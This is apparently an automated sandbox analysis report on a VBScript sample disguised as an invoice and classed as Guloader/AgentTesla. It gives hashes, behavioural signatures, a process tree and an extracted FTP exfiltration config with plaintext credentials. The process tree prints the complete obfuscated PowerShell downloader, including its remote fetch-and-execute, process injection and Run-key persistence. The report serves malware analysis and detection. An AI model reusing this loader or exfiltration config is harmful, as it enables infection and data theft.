Analysis
-
max time kernel
141s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20231127-en -
resource tags
arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system -
submitted
04-12-2023 09:00
Static task
static1
Behavioral task
behavioral1
Sample
INVOICE PDF.vbs
Resource
win7-20231023-en
Behavioral task
behavioral2
Sample
INVOICE PDF.vbs
Resource
win10v2004-20231127-en
General
-
Target
INVOICE PDF.vbs
-
Size
55KB
-
MD5
e017a9394fedd56c4a42d2dfe2b4d869
-
SHA1
d05616bdaebb99b9666dd4748cb6ec65222db151
-
SHA256
b27a2ffd8bfdfccbcc957473ac4492c13769913e2892bc41543e5b6bdf3aa2b8
-
SHA512
64aa558244ffeee6e557493e616e3a8729fe41d04b1e177ec6a7c137d822d28cbbcf21efe469107c38a0258a331128d31637608ada971ffc7283bc53a55f929d
-
SSDEEP
1536:9+8+aDJAkChjJsCujxLeiO927WSidDyE1Uituy4tfC95fSx1JFr5rshhf/nKI2Zq:I8+aDJAkChVsCujxLeT9eWSidDyE1UiN
Malware Config
Extracted
agenttesla
Protocol: ftp- Host:
ftp://ftp.mcmprint.net - Port:
21 - Username:
[email protected] - Password:
pK@7[r0Y?XFT
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 1 IoCs
Processes:
WScript.exeflow pid process 5 1992 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1067295379-1486014338-1703171060-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
msbuild.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1067295379-1486014338-1703171060-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Allumi% -w 1 $Ngenfret=(Get-ItemProperty -Path 'HKCU:\\Erioglaucine\\').Stentens;%Allumi% ($Ngenfret)" msbuild.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 58 api.ipify.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
msbuild.exepid process 4928 msbuild.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exemsbuild.exepid process 3092 powershell.exe 4928 msbuild.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3092 set thread context of 4928 3092 powershell.exe msbuild.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3688 4928 WerFault.exe msbuild.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exemsbuild.exepid process 1556 powershell.exe 1556 powershell.exe 3092 powershell.exe 3092 powershell.exe 4928 msbuild.exe 4928 msbuild.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 3092 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exemsbuild.exedescription pid process Token: SeDebugPrivilege 1556 powershell.exe Token: SeDebugPrivilege 3092 powershell.exe Token: SeDebugPrivilege 4928 msbuild.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 1992 wrote to memory of 1556 1992 WScript.exe powershell.exe PID 1992 wrote to memory of 1556 1992 WScript.exe powershell.exe PID 1556 wrote to memory of 3092 1556 powershell.exe powershell.exe PID 1556 wrote to memory of 3092 1556 powershell.exe powershell.exe PID 1556 wrote to memory of 3092 1556 powershell.exe powershell.exe PID 3092 wrote to memory of 4928 3092 powershell.exe msbuild.exe PID 3092 wrote to memory of 4928 3092 powershell.exe msbuild.exe PID 3092 wrote to memory of 4928 3092 powershell.exe msbuild.exe PID 3092 wrote to memory of 4928 3092 powershell.exe msbuild.exe PID 3092 wrote to memory of 4928 3092 powershell.exe msbuild.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INVOICE PDF.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Brazilette9 ($Synkroniskes){$Underdriver = $Synkroniskes.Length-1; For ($Komprimerer=6; $Komprimerer -lt $Underdriver){$Leukotomy111=$Leukotomy111+$Synkroniskes.Substring( $Komprimerer, 1);$Komprimerer+=7;}$Leukotomy111;}$Crumping=Brazilette9 'Demiadh CapittSnurretUnknowpGedunk:slavof/energi/solosptPtychohPersoneDiscipiPontvol MineroSheepsvFlyvereFlagelmSerahuetensimpRejnfaoRabarbdListesc MoonsaCamoufsCasuarttilsku.SkamlicUnderso Veget.frarveuPartikkRegell/UdbenewDermatp Polit-auspiciSupersn InsidcBibasilMannifu Brndedtujaere MrkbasPyriti/KakofoiTvrfagmSemitraAlimengLaundre Curvis Frihj/SporarP YipeuaForklas Wethet inclueKodegebBrnebaoStrandaEndemor BeylidNonell.Nyoriem PaakrsBariauoOculis ';$Leukotomy11101=Brazilette9 'tewhitiSkppesePrelauxladtfo ';$Necrobiosis248 = Brazilette9 'Prevai\CroisssTinetaySendalsIndvelwSprognoTrilobw sleut6 Smrsy4Eliqua\UnmincWprisnii PetunnBegaaedProgenoPetrarwSkyndestrichoP InadeoNonconwSensuseViagrarIdeligSBanisthOdenseeTransmlSniglblIndivi\Noninhv Hoplo1 Hotch. Nosta0Madocb\Madelip AdiasoGgepulwUraeuseTobaksrAerophsWesterhhuusfle MozeslBortellNonset.sportse Legehx Mentae Natti ';. ($Leukotomy11101) (Brazilette9 'Lskeiv$AxialiAPascalnBalanotSirtsiiDeciducMyoneuoOinolonPappess smaautMydaidiTroldstinkensupaavirt Enteri ConveoLgpatrn KainsaYdelselMesiollVrisseyanmodn2quipso= hovmo$RunoloeSchistnUbefrdvHostil:NonstywEuploiiAndropnordured klikki HidrarApartn ') ;& ($Leukotomy11101) (Brazilette9 ' Aeroh$AlfsfoNryknineMichaecSideblrBisammo ExtrabMonobaiGlycoso reconsStyrboihagercsTyphab2Pteryl4Seddel8unapol=Mallie$HolotoAtaturin MelletAutothiSquibbcKontofononpron SoddesInnovatSkmbiliLandgatDrankeuHjertetCrepeii PsychoZionisn SejenaFlsentlEngelslprograyPropri2Salgsf+Forkle$AnklagN SkbneeBenotecXctlborOpenino PluffbFlippeiRhodopoDrenges StenbiPhlebes Skumm2 Delti4Overth8Streek ') ;. ($Leukotomy11101) (Brazilette9 'Dissat$honestJNondefrVizierg UnconePsykopnSpndkrsRadiereMarkisnsuccessAntire Oppisk=sprdst Grovfo(Datade( Drslgg RegeawKeyboamSummeriwrawlw DeporwAinosiiPhotornAandss3Uhvisk2Detaxm_centrapBlubbirUndervoPerugicStilkje Skulls slagtsHrtaut Subsk- KetchFvaaseu MinivePNonedurProfiloBrndofcSviptueGlucossOversoskataloIStjaaldScissi=idiopl$Repack{LejevrPInterlIIntercDBillet}Pladsh) Misot.ExaminCEgnsploUnrecumFaaszimUdkrysatrowsgnPortiod RaastLBrnehaiPaalannSluttiePatoss)Cascan Stafyl-Degusts NuderpLgebgelRundriiBanemntThyris Kiksen[CloacacAgendeh ByzonaRenovar Swizz]constr3Attrib4Kontor ');& ($Leukotomy11101) (Brazilette9 'Troche$GadenaSFasthop FingeeOfficicBermmeiDeistiaFascinl Tilbao Unwilr SkulpdAnlbesb fagotoElasmog WinfueBeklagn Misbrs Lexic Archh=Terete Nedryk$ CoherJUndercrTrkensgFadereeCosponnFreehasCarsoneTempernOpalessLerdue[Skrmha$ WeareJVerdenrTaarevg affaleMaytimnSalamosSpexeneSlvsnonForskesStrikm. PackacNonrato TurnsuInweednLkkelytNondet-Stigma2Begave]Cizarp ');& ($Leukotomy11101) (Brazilette9 'Outfab$ AflurASubchotSketfitResyntiFrydesdRingin1 Overl8Misspa9Anathe= Mutes(KomparT Lyntoe gateksGastratabsolu-AnklagPhusarraTeutontSneakihFerskv Coroni$PrjudiN SawfleManicocUddannrHoffmao Jicaqb HispiiDrunkeo terrasEstimeiGeostrs Mongo2Persua4Optati8Tutter)Baghaa Vandvr-styredAEnergenFalsesdDigtni Behan(Disope[BehandI TransnKrimintDisconPfaquirtFysikkrElefan]Polygo:Gummer: PotgusAlmousiUnaspizBelysnecollat Autogr- SabiaeHjtideq basin Omklam8tinpes)Naille ') ;if ($Attid189) {& $Necrobiosis248 $Specialordbogens;} else {;$Leukotomy11100=Brazilette9 'DermatSBoblertHavegra HybrirMadhoutGlyoxy-SmitteBkonkuriParacotmetamosAllophTAgglutrTekoppaLandspn Udbeds OutthfNaturfeCharmir Penna Variab-ClassiSIsochloHalvbruKeroserInsulacConfine Outst Snnike$AlbertCIndebrrKasuisuShopkemUnraispheftili RoleonSkemalgStnkpr contra-MullocDTranlaeBarnacsEpikurt KonceiRepresnHidhoeaChargetLandbriCounteoSkvaddn Insta Donse$ColumbAUsetmenInamortMaldeviEtniskcAtomizoAflaegnPlnernsDeniabtAusculiErhervt VoteruWatermtefterfiRedrago RemornSystemaStaalolChilesl upspeyChurro2 Frdig ';& ($Leukotomy11101) (Brazilette9 'Deflec$SurerfA disponFeltintOmdiriiRekalkc UnfeloAnglomnIdolissManagetClonaniPikkestStopuru PapyrtBoorisiBegreboDormpenAnisogaTrovrdlAntydnlDistilyDatain2Reakti=Brdbag$DommereGeniosn ImmunvUmorso:MarmoraLarisapSkrivepsprgcidTurbopaMichlatHorsefaIndkap ') ;. ($Leukotomy11101) (Brazilette9 'DrammeIKotelemAdsercpForfreo Entrerweighst Arter-AfladeMChloraoNabostdBrushau AndenlTraileesquawm TraverBrendeniCommontVenstrs ForsiTHoggierPlanetaRagtimnAtmosfs Fotogf AcariePostekrDaaseo ') ;$Anticonstitutionally2=$Anticonstitutionally2+'\Patinerendes.Jag';while (-not $Cloverlay) {. ($Leukotomy11101) (Brazilette9 'Folkmo$JodensCSelvrelSlammeoBjlkehvKleabreGgeledrCooleyl KochfaGeneraySukker=Acrido( PensiT Neotre ParlasRhebostSnegla- GlottPzardmmaAwfulltTilproh Reali Gobli$ForhinAUnleasnAnvendt blaasi IncomcSolvenoTegnfonKlarlas GalpetFjerkri GrosgtSlgernuPinkostAnskafiIridesoShrewln LinjeaSlyngelferskvlAnaskeyBetime2Hasted) Genne ') ;& ($Leukotomy11101) $Leukotomy11100;& ($Leukotomy11101) (Brazilette9 'ConverS TouchtRkenviaintermrBrdskrtWhines- IrratSSlovaklMortice DeleteOutpoipSandsy Bambus5Lamask ');}. ($Leukotomy11101) (Brazilette9 'svulst$TyrannBHaarburTolvtaaZorillz ForyniServerlfukssveKangantTwittetBonevoeSafrol Peter=Hyleri NikolG OvenseNonschtAdkoms-BimorpCNaturforrelsencowboytRightheNdlsninManueltDirren plain$ StenbAForbannArtocatCentrai AnvencDetailo ParisnEmancis MoskytpavansiNektontHelsecujingkotTongakiTittenoShambrnBrainsaUreterlDovefolFramelyBetsos2 Nedga ');. ($Leukotomy11101) (Brazilette9 'Tisken$WoodenUUsualunHachurd LithoeOverstr OppostVincenrSocialaFecundaReidjudForsrgeHistocnafskibe BloopsGreige Thysan=Forskn Satura[ FungeSInterpyUnderesForhertJubilaeSnippem Crose.SlagteCGrnjoroRelocanComplevNounize perimrOpgangt Picar]pejles:Dambru:SektioFMemecor pseudoEnderimMammaxB KonteaSlipfos paraneStockd6Achrom4callecS Grimat Facetr SypigiRentetnGarryagmeddel(Roekam$DrawbaBIannedrSociopaOverstzPhotosi SolidlpresseeAngaritIndhugtRosakeeselska) Appre ');& ($Leukotomy11101) (Brazilette9 'Satura$PavekrL Cranie Opskru Nonrok Taktmo UsagltWaferwoHaardemLoftetyEmanat1Tungtv1scrapp1nonspi2 Brand Linctu=Nydann Momspo[SmallbStherewyconcipsSkrfertacetoaeMicrotmOverim.SkyfriTForesheprintexBedeadtBumpsu.TigerkE SejrsnProtoccBugeyeoIndvandReverbiInartinmalthegEuroch]Tourne:Skovgr:SubsalA VsentSMotorgChideruIIndkomI Dusse.FleminGbeseemeStonistMonoclS SkulptZooenkr TermiiTurnvgnMedicagClimat(Endemo$NeddmpU PillenFingerdTvebope Ornitr VanmdtFilmgerBrikssaFrembdaBestikdPlatypeUnderdn FaareeTelefos Endea)Skinne ');. ($Leukotomy11101) (Brazilette9 'Megilp$DysphoFMargenr RutefeFedtloeDropvilUnboldaRadiosnResenscBedheaeUdstils Vurde= Firel$FicklyLErkende AdganuRegentk GearkoUdbedrtWekaueoBerthamludderyfantas1Stabil1 Asept1 Stali2Offerv.ImpeopsapostauNonsusbKanylesTidsprtPreaccrSmitteiMollusnSplenogZinkko( Serie2Brystn9 Cycad2Boligp5Tuesda4 Kommo9vrides, Culve2Frdigb7 Udsvi1 Stnin5 Unplu8Forsgs)Privat ');. ($Leukotomy11101) $Freelances;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Brazilette9 ($Synkroniskes){$Underdriver = $Synkroniskes.Length-1; For ($Komprimerer=6; $Komprimerer -lt $Underdriver){$Leukotomy111=$Leukotomy111+$Synkroniskes.Substring( $Komprimerer, 1);$Komprimerer+=7;}$Leukotomy111;}$Crumping=Brazilette9 'Demiadh CapittSnurretUnknowpGedunk:slavof/energi/solosptPtychohPersoneDiscipiPontvol MineroSheepsvFlyvereFlagelmSerahuetensimpRejnfaoRabarbdListesc MoonsaCamoufsCasuarttilsku.SkamlicUnderso Veget.frarveuPartikkRegell/UdbenewDermatp Polit-auspiciSupersn InsidcBibasilMannifu Brndedtujaere MrkbasPyriti/KakofoiTvrfagmSemitraAlimengLaundre Curvis Frihj/SporarP YipeuaForklas Wethet inclueKodegebBrnebaoStrandaEndemor BeylidNonell.Nyoriem PaakrsBariauoOculis ';$Leukotomy11101=Brazilette9 'tewhitiSkppesePrelauxladtfo ';$Necrobiosis248 = Brazilette9 'Prevai\CroisssTinetaySendalsIndvelwSprognoTrilobw sleut6 Smrsy4Eliqua\UnmincWprisnii PetunnBegaaedProgenoPetrarwSkyndestrichoP InadeoNonconwSensuseViagrarIdeligSBanisthOdenseeTransmlSniglblIndivi\Noninhv Hoplo1 Hotch. Nosta0Madocb\Madelip AdiasoGgepulwUraeuseTobaksrAerophsWesterhhuusfle MozeslBortellNonset.sportse Legehx Mentae Natti ';. ($Leukotomy11101) (Brazilette9 'Lskeiv$AxialiAPascalnBalanotSirtsiiDeciducMyoneuoOinolonPappess smaautMydaidiTroldstinkensupaavirt Enteri ConveoLgpatrn KainsaYdelselMesiollVrisseyanmodn2quipso= hovmo$RunoloeSchistnUbefrdvHostil:NonstywEuploiiAndropnordured klikki HidrarApartn ') ;& ($Leukotomy11101) (Brazilette9 ' Aeroh$AlfsfoNryknineMichaecSideblrBisammo ExtrabMonobaiGlycoso reconsStyrboihagercsTyphab2Pteryl4Seddel8unapol=Mallie$HolotoAtaturin MelletAutothiSquibbcKontofononpron SoddesInnovatSkmbiliLandgatDrankeuHjertetCrepeii PsychoZionisn SejenaFlsentlEngelslprograyPropri2Salgsf+Forkle$AnklagN SkbneeBenotecXctlborOpenino PluffbFlippeiRhodopoDrenges StenbiPhlebes Skumm2 Delti4Overth8Streek ') ;. ($Leukotomy11101) (Brazilette9 'Dissat$honestJNondefrVizierg UnconePsykopnSpndkrsRadiereMarkisnsuccessAntire Oppisk=sprdst Grovfo(Datade( Drslgg RegeawKeyboamSummeriwrawlw DeporwAinosiiPhotornAandss3Uhvisk2Detaxm_centrapBlubbirUndervoPerugicStilkje Skulls slagtsHrtaut Subsk- KetchFvaaseu MinivePNonedurProfiloBrndofcSviptueGlucossOversoskataloIStjaaldScissi=idiopl$Repack{LejevrPInterlIIntercDBillet}Pladsh) Misot.ExaminCEgnsploUnrecumFaaszimUdkrysatrowsgnPortiod RaastLBrnehaiPaalannSluttiePatoss)Cascan Stafyl-Degusts NuderpLgebgelRundriiBanemntThyris Kiksen[CloacacAgendeh ByzonaRenovar Swizz]constr3Attrib4Kontor ');& ($Leukotomy11101) (Brazilette9 'Troche$GadenaSFasthop FingeeOfficicBermmeiDeistiaFascinl Tilbao Unwilr SkulpdAnlbesb fagotoElasmog WinfueBeklagn Misbrs Lexic Archh=Terete Nedryk$ CoherJUndercrTrkensgFadereeCosponnFreehasCarsoneTempernOpalessLerdue[Skrmha$ WeareJVerdenrTaarevg affaleMaytimnSalamosSpexeneSlvsnonForskesStrikm. PackacNonrato TurnsuInweednLkkelytNondet-Stigma2Begave]Cizarp ');& ($Leukotomy11101) (Brazilette9 'Outfab$ AflurASubchotSketfitResyntiFrydesdRingin1 Overl8Misspa9Anathe= Mutes(KomparT Lyntoe gateksGastratabsolu-AnklagPhusarraTeutontSneakihFerskv Coroni$PrjudiN SawfleManicocUddannrHoffmao Jicaqb HispiiDrunkeo terrasEstimeiGeostrs Mongo2Persua4Optati8Tutter)Baghaa Vandvr-styredAEnergenFalsesdDigtni Behan(Disope[BehandI TransnKrimintDisconPfaquirtFysikkrElefan]Polygo:Gummer: PotgusAlmousiUnaspizBelysnecollat Autogr- SabiaeHjtideq basin Omklam8tinpes)Naille ') ;if ($Attid189) {& $Necrobiosis248 $Specialordbogens;} else {;$Leukotomy11100=Brazilette9 'DermatSBoblertHavegra HybrirMadhoutGlyoxy-SmitteBkonkuriParacotmetamosAllophTAgglutrTekoppaLandspn Udbeds OutthfNaturfeCharmir Penna Variab-ClassiSIsochloHalvbruKeroserInsulacConfine Outst Snnike$AlbertCIndebrrKasuisuShopkemUnraispheftili RoleonSkemalgStnkpr contra-MullocDTranlaeBarnacsEpikurt KonceiRepresnHidhoeaChargetLandbriCounteoSkvaddn Insta Donse$ColumbAUsetmenInamortMaldeviEtniskcAtomizoAflaegnPlnernsDeniabtAusculiErhervt VoteruWatermtefterfiRedrago RemornSystemaStaalolChilesl upspeyChurro2 Frdig ';& ($Leukotomy11101) (Brazilette9 'Deflec$SurerfA disponFeltintOmdiriiRekalkc UnfeloAnglomnIdolissManagetClonaniPikkestStopuru PapyrtBoorisiBegreboDormpenAnisogaTrovrdlAntydnlDistilyDatain2Reakti=Brdbag$DommereGeniosn ImmunvUmorso:MarmoraLarisapSkrivepsprgcidTurbopaMichlatHorsefaIndkap ') ;. ($Leukotomy11101) (Brazilette9 'DrammeIKotelemAdsercpForfreo Entrerweighst Arter-AfladeMChloraoNabostdBrushau AndenlTraileesquawm TraverBrendeniCommontVenstrs ForsiTHoggierPlanetaRagtimnAtmosfs Fotogf AcariePostekrDaaseo ') ;$Anticonstitutionally2=$Anticonstitutionally2+'\Patinerendes.Jag';while (-not $Cloverlay) {. ($Leukotomy11101) (Brazilette9 'Folkmo$JodensCSelvrelSlammeoBjlkehvKleabreGgeledrCooleyl KochfaGeneraySukker=Acrido( PensiT Neotre ParlasRhebostSnegla- GlottPzardmmaAwfulltTilproh Reali Gobli$ForhinAUnleasnAnvendt blaasi IncomcSolvenoTegnfonKlarlas GalpetFjerkri GrosgtSlgernuPinkostAnskafiIridesoShrewln LinjeaSlyngelferskvlAnaskeyBetime2Hasted) Genne ') ;& ($Leukotomy11101) $Leukotomy11100;& ($Leukotomy11101) (Brazilette9 'ConverS TouchtRkenviaintermrBrdskrtWhines- IrratSSlovaklMortice DeleteOutpoipSandsy Bambus5Lamask ');}. ($Leukotomy11101) (Brazilette9 'svulst$TyrannBHaarburTolvtaaZorillz ForyniServerlfukssveKangantTwittetBonevoeSafrol Peter=Hyleri NikolG OvenseNonschtAdkoms-BimorpCNaturforrelsencowboytRightheNdlsninManueltDirren plain$ StenbAForbannArtocatCentrai AnvencDetailo ParisnEmancis MoskytpavansiNektontHelsecujingkotTongakiTittenoShambrnBrainsaUreterlDovefolFramelyBetsos2 Nedga ');. ($Leukotomy11101) (Brazilette9 'Tisken$WoodenUUsualunHachurd LithoeOverstr OppostVincenrSocialaFecundaReidjudForsrgeHistocnafskibe BloopsGreige Thysan=Forskn Satura[ FungeSInterpyUnderesForhertJubilaeSnippem Crose.SlagteCGrnjoroRelocanComplevNounize perimrOpgangt Picar]pejles:Dambru:SektioFMemecor pseudoEnderimMammaxB KonteaSlipfos paraneStockd6Achrom4callecS Grimat Facetr SypigiRentetnGarryagmeddel(Roekam$DrawbaBIannedrSociopaOverstzPhotosi SolidlpresseeAngaritIndhugtRosakeeselska) Appre ');& ($Leukotomy11101) (Brazilette9 'Satura$PavekrL Cranie Opskru Nonrok Taktmo UsagltWaferwoHaardemLoftetyEmanat1Tungtv1scrapp1nonspi2 Brand Linctu=Nydann Momspo[SmallbStherewyconcipsSkrfertacetoaeMicrotmOverim.SkyfriTForesheprintexBedeadtBumpsu.TigerkE SejrsnProtoccBugeyeoIndvandReverbiInartinmalthegEuroch]Tourne:Skovgr:SubsalA VsentSMotorgChideruIIndkomI Dusse.FleminGbeseemeStonistMonoclS SkulptZooenkr TermiiTurnvgnMedicagClimat(Endemo$NeddmpU PillenFingerdTvebope Ornitr VanmdtFilmgerBrikssaFrembdaBestikdPlatypeUnderdn FaareeTelefos Endea)Skinne ');. ($Leukotomy11101) (Brazilette9 'Megilp$DysphoFMargenr RutefeFedtloeDropvilUnboldaRadiosnResenscBedheaeUdstils Vurde= Firel$FicklyLErkende AdganuRegentk GearkoUdbedrtWekaueoBerthamludderyfantas1Stabil1 Asept1 Stali2Offerv.ImpeopsapostauNonsusbKanylesTidsprtPreaccrSmitteiMollusnSplenogZinkko( Serie2Brystn9 Cycad2Boligp5Tuesda4 Kommo9vrides, Culve2Frdigb7 Udsvi1 Stnin5 Unplu8Forsgs)Privat ');. ($Leukotomy11101) $Freelances;}"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3092 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"4⤵
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4928 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 22005⤵
- Program crash
PID:3688
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4928 -ip 49281⤵PID:1860
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82